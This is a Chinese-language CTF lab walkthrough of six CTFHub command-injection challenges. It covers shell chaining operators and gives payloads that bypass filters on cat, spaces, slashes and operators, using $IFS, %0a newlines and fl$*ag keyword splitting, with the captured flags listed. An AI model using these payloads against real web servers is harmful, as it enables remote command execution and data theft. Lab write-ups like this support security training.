目录
知识点
1、常见的拼接符
1、A ; B 先执行A,再执行B
2、A & B 简单的拼接
3、A | B 显示B的执行结果
4、A&&B A执行成功之后才会执行B
5、A || B A执行失败之后才会执行B
, 在特殊情况下可代替空格
2、常见的命令
(1)、Windows
1.type 显示文本文件内容
type x:\1.txt //显示x盘下的1.txt文件内容
type x:\1.txt | more //分页显示x盘里1.txt的内容
more 1.txt //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)2.dir 显示目录里的内容
dir //显示当前目录里的子文件夹和文件
dir /b //只显示当前目录子文件夹、文件的文件名
dir /p //分页显示当前目录子文件夹、文件
dir /ad //只显示当前目录中的文件夹
dir /a-d //显示当目里的文件
dir x:/a //显示x盘下a文件夹中的内容
dir 1.txt //显示当目下1.txt的信息
dir /s //递归显示当目中的内容 ctrl c终止当前命令
dir a* //显示当目下a开头的文件、文件夹信息
dir /ah /os //显示当目下隐藏的文件和目录,按文件大小从小到大排序
(2)Linux
1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行
一、命令注入-无过滤
1、使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接
127.0.0.1 | ls
2、查看文件内容
127.0.0.1 | cat 97042060332333.php
这里结果没有显示,我们需要右击查看页面源码;
拿下flag:ctfhub{20deb1326036e84dcc295926}
二、命令注入-过滤cat
其他步骤不变,查看文件的命令不能是cat,对比上述知识点,选择其他的查看文件的命令;
选用head命令查看,查看页面源代码,获取flag
拿下flag:ctfhub{812be4735ca6bdb6f370ddd5}
三、 命令注入-过滤空格
其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。
<,<>,%20(space),%09(tab),$IFS$9,{IFS}
证明替代可以绕过;
查看页面源码,获取flag
flag:ctfhub{238f11da99357c442b89269c}
四、命令注入-过滤目录分隔符
这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。
;cd flag_is_here;ls
这个命令分三步执行:
1、ping
2、进入flag_is_here文件夹
3、列举flag_is_here文件夹下的文件
同理,进行命令拼接,读取文件内容
;cd flag_is_here;cat flag_31385370225812.php
这个命令分三步执行:
1、ping
2、进入flag_is_here文件夹
3、读取文件夹下的flag.php
命令执行成功,查看页面源码获取flag
flag:ctfhub{facc57115147cd68e249be28}
五、命令注入-过滤运算符
1、查看题目
运算符:||、& 被过滤,不能使用,但并不是所有的运算符都被过滤,因此参考起始的知识点,选取其他运算符 。
命令(poyload)如下:
;ls 查看当前目录的文件
;cat 查看文件内容
查看页面源码,获取 flag
flag:ctfhub{98ded6f7df7a469522dbf6e5}
六、命令注入-综合过滤练习
1、查看源代码
运算符、cat、flag、目录分割符都被过滤
2、 绕过思路
%0a 换行符
%0d 回车符
$*
在shell命令执行下为空${IFS} 表示空格
(1)、列举目录
poyload:127.0.0.1%0als
(2)、列举文件夹下的文件
poyload:127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0als#
(3)、查看文件内容,获取flag
poyload:
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}fl$*ag_323771375627198.php#
flag:ctfhub{b4aad13d39d6c45100aa88ab}
命令注入结束!!!